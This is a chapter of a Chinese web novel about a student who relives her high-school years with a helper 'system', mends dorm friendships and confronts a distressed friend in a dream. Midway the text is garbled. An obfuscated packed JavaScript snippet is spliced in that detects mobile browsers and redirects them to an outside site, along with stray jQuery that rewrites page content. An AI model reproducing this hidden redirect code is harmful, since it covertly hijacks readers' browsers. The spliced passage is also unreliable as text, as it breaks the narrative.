4. 西西弗斯之石

作品:《她睡在时针背面

    林听眠单手支起下巴,强行打起精神。


    钟终见她醒来,连忙狂抽几张纸递给她。


    林听眠没说话,勉强牵动嘴角,笑意不达眼底,微微颔首。


    她这么一睡嗓子哑得说不出话。


    林听眠撩起耳侧的头发,从额头擦到脸再擦到脖颈。


    后背湿得厉害,黏得她不适地皱眉。


    沈觉故作自然地瞥过,用眼神询问还好吗。


    林听眠捕捉到旁边担忧的目光,身子偏过去,嘴角大幅度上扬表示还行。


    林听眠想周围的这两人简直成了自己的老妈子。


    她拿起白天没做完的卷子,瞬间投入起来。


    不就是学习吗?她可以的!


    林大小姐可是广受拥护(仅两人)的存在!


    现在已是学期末,酷热的夏天刚褪去梅雨的湿气。


    考试在上周结束,毕业班考完试还要进行补课,作业不算很多。


    林听眠突然想,正处在高中时代的她无疑是幸福的。


    无论最后有没有考好,最后有没有得到预期的结果。


    她始终有确定的值得为之倾尽全力的目标。


    无论离目标有多远,每天走一步再走一步,回望过去的路也会感慨原来走了这么远。


    而大学时代的林听眠与沈觉,其实并没有足够清晰的目标。


    好像眼前的选择多了,目标也多了。但不知道自己的方向。


    走来走去也许只是徒劳无功的原地打转。


    她写完语文阅读后停笔。


    随手翻开一篇西西弗斯之石的阅读材料,边看边觉得自己正是西西弗斯。


    无疑的是,不断推石上山的西西弗斯也是幸福的。


    推石上山的真正意义已经不在抵达,而是保持时刻追寻的努力,专注于当下。


    林听眠有点不知从何说起的感动。


    可能是曾经离她很远的女神此时和她就隔了一条走廊,可能是从前的朋友还没有闹掰,可能是此刻无论怎么走都算是前行。


    林听眠翻开她曾经憎恶的数学。


    她在复习后期疯狂刷题,反复刷做过的错题,每一道题至少做了三遍。


    简单粗暴但有用。因为知道自己底子就在那里面,上限低就努力提高下限。


    一切都会好起来的!她的目光偷偷留在沈觉身上一秒,又旋即落在题目上。


    好像,也没有那么糟糕?


    晚自习下课的铃声刚响,林听眠风一样地冲出了教室。


    洗澡洗澡洗澡!她这个人不喜欢浪费时间,把洗澡的时间压缩到睡前。


    她吭哧吭哧跑回宿舍,不用思考,一下子全拿好洗澡用具再风一样地冲去澡堂。


    满是雾气。


    吹头发时她的自来卷像被炸了一样张扬地顶在脑袋上。


    她低头看着脚边上四周散落的长长短短或卷或直或硬或软团成一起的或分散开的头发,再往上是长长拉扯的吹风机线,高度不一地吹出不同力度的风,吹着她半蓬松半湿润的头发。


    心想青春,就是这样的切片。


    一旁一个头发很长的妹子递给她一把梳子,手指纤细白皙。


    “又忘拿梳子了?”声音在吹风机的声响里含糊不清。


    林听眠一时没听清楚,抬起头来去看是谁。


    关却没戴眼睛,眯着眼睛对她说:


    “你怎么老忘记?”


    林听眠每次洗澡都走得很急,不是掉装备就是忘装备。


    她的心好像被轻轻挠了一下,痒痒的,因为紧张耸的肩沉了下来。


    本来想着要好好计划如何破冰,或者争取下次不落荒而逃,但是现在,她只是笑着说:


    “那我就不客气啦。”


    好像令人难过的事情从未在她的记忆中储存。


    她更加清楚地意识到,这是一个全新的开始。


    林听眠与关却一前一后跑回宿舍。


    她们宿舍是四人寝。除了祝一一,还有一个原来和沈觉同班的妹子叫赖梦,外号是柠檬。


    林听眠心情很好地哼着小调,她心道,好久不见了。


    柠檬妹子本来和她也不是很熟,林听眠只知道她高考超常发挥比女神考得还高。


    “晚上好呀,小柠檬!”


    柠檬妹子快人快语。


    “你今天好像心情很好。”


    一旁的祝一一观察着林听眠的脸色,好像斟酌着要说些什么。


    林听眠抖了抖刚吹完的头发,顺势勾起祝一一落在肩上的一溜发丝。


    “怎么一脸我会把你吃了的表情,本皇帝今天心情好特准你奏折。”


    说完她自己都愣了。短短的时间里她社交能力不要脸程度又刷新了。


    不知是晚上的风吹得很舒服,还是林听眠自己想开了,夜晚的宿舍格外适合畅聊。


    祝一一看了看关却又看了看她,细声细语地解释今天是她忘记给关却改画惹她生气了。


    显然林听眠没把这件事放在心上,她只是低着头边洗衣服边聆听。


    在她的印象中,祝一一集训中后期每天都哭。她抬头看着祝一一紧绷的身子,心中似乎了然。


    有些人天生就似乎被归在脾气好的一类里,不愿争吵,不愿别人为难。


    但自己却时刻紧张,战战兢兢地充当夹心饼干里的夹心。


    碰到关却这样强硬的压缩饼干,免不了被挤得喘不过气。


    集训就在几天后,她想,这两个饼干和夹心又要高度紧张了。


    林听眠故意挑起话题。“你说的这个问题非常严重。”


    “就像体育届失去了光头,哦柠檬你可能不知道光头是谁,光头是我们给数学老师取的花名,他常常对我们说出门在外,要说我们班的数学是体育老师教的。”


    柠檬乐了。她帮着林听眠继续说。


    “就像数学届失去了林听眠,林听眠我们都认识,就在这站着。她曾经对我说她把统计题学校的人数算成三分之二根号二。”


    林听眠急了。在祝一一豁然一笑与关却看戏的神色中不甘示弱。


    “就像地理届失去了柠檬。柠檬我们也都知道,就在这坐着。她曾经把地理题为什么可以尝试火星上培育某种草我忘了叫什么名的原因是……这个草扎根浅,防止火星人踩踏。”


    关却一口水喷出来。


    系统揶揄:“哇塞眠眠!你这个进度可以耶!一下子调节了氛围。”


    林听眠无语。


    “这是拿我的名声换的。”


    一旁的柠檬张牙舞爪,祝一一笑着流出了眼泪也没忘记去拦她。


    铃声叮铃铃响起,所有人慌忙加快速度,但笑声也加速了。


    对面男生宿舍传来难听的歌声。


    林听眠刚好晾完衣服,她抬头看着天上的白月,


    暗自呼唤系统。


    “系统系统,遗憾补偿进度上来了,来点奖励!我要集训时期和关却相关的记忆。”


    系统笑眯眯。


    “好的眠眠,祝你好梦。”


    林听眠又又又来到画室。


    她站在门口,关却站在楼梯口。


    林听眠想张口叫关却的名字,但声音干涩嘴皮有点黏。


    关却的声音仿佛从很遥远的地方传来。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082295|179410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>林听眠不清楚她站在楼梯口不上来的动机,这有点危险,她警觉起来。


    关却过于苍白的脸上透着一股难以言喻的疲惫,眼下一片乌青。


    “不是说要教我画画的吗?不是说会陪着我的吗?”


    关却暗示着她说不准马上会做出什么事情来。


    林听眠努力挤出声音。


    “关却……”


    她顿住,那个“却”字托着尾音,在舌尖打转。


    林听眠知道自己在害怕。


    因为担心关却的病情真的会做出什么事情来,所以作为当时的好朋友对她百依百顺。


    关却也知道自己有不好的状况,但她把病情的影响施加给了别人。


    对她来说,她没错。但林听眠又犯了什么错呢?


    关却自己根本控制不住自己的情绪,也许能活下去就很不容易了。


    活下去。


    活下去活下去活下去活下去活下去活下去活下去!


    林听眠疯狂地在脑内大喊大叫。


    活下去……就是活下去。


    这大概是系统想带给她的记忆。


    她向前一步,直直地盯着关却,眼里一片清明。


    可关却慌了神,像是没料到她会走过来。


    毕竟从前的林听眠会落荒而逃。


    逃跑是对的,前进更有勇气。


    林听眠前进一步,关却后退一步台阶。


    一高一低,林听眠俯视着关却。


    她此时倒很有心情地观察关却的神情。


    她的眼神低垂不敢看她,杂乱无章的头发松松垮垮地挽成一个丸子头,看上去很久没打理。


    要制服发疯的最有效方法是更加疯。


    她现在不是那个胆小怕事的林听眠了,她现在是林听眠plus版全新升级。


    林听眠佯装生气,猛地尖叫,回音荡在楼梯上。


    不管了,反正这是梦,林听眠安慰自己。


    啊啊啊啊啊啊啊啊啊!


    关却终于抬起头来,目光呆滞地看着她。


    林听眠继续发力。


    “关却,你怎么这样啊!我对你很失望。我明明有好好教你,可是你呢,天天在那里睡睡睡睡睡睡!你有考虑考虑过我的心情吗?你难道不知道我很担心你吗?你就这么无视我的难过吗?看到我你除了散发焦虑说联考成绩不好怎么办怎么办是不是完蛋了!!天天张嘴闭嘴就是要复读想退学。你除了让自己焦虑还让别人焦虑,看到别人画得好的心里明明难受得要命但是一个字都不说就让我来猜。我是倒了什么霉才要应对你这种别扭拧巴的人啊!你和我之前认识的关却一点都不一样……”


    林听眠一连串地说完,嘴都不带停的生怕关却插上话。


    说到最后,似乎释放了积蓄已久的情绪,不管不顾地放声大哭起来。


    关却一下子慌了,手无措地上下摆动几下,不知道该如何是好。


    林听眠是带着真心真意说出的这些话,一下子吐出来后好像委屈也随之被摆在台面上展开。


    她先是嚎啕大哭,再是一抽一抽地哭,生怕自己无法呼吸又小声地默默流泪,偶尔发出吸鼻子的声音。


    系统突然插播:【检测到宿主情绪宣泄值100%!】


    它低声说:【眠眠,你比你想得更勇敢。】


    关却没有后退了,她踩上楼梯,下巴搭在她的肩膀上,轻轻抱住她。


    林听眠重重地抱紧她。


    关却似乎不知道该说些什么,有规律地拍着她的背,林听眠哭得没有力气说话。


    哭着哭着她安静了下来。


    有人好像在叫她的名字。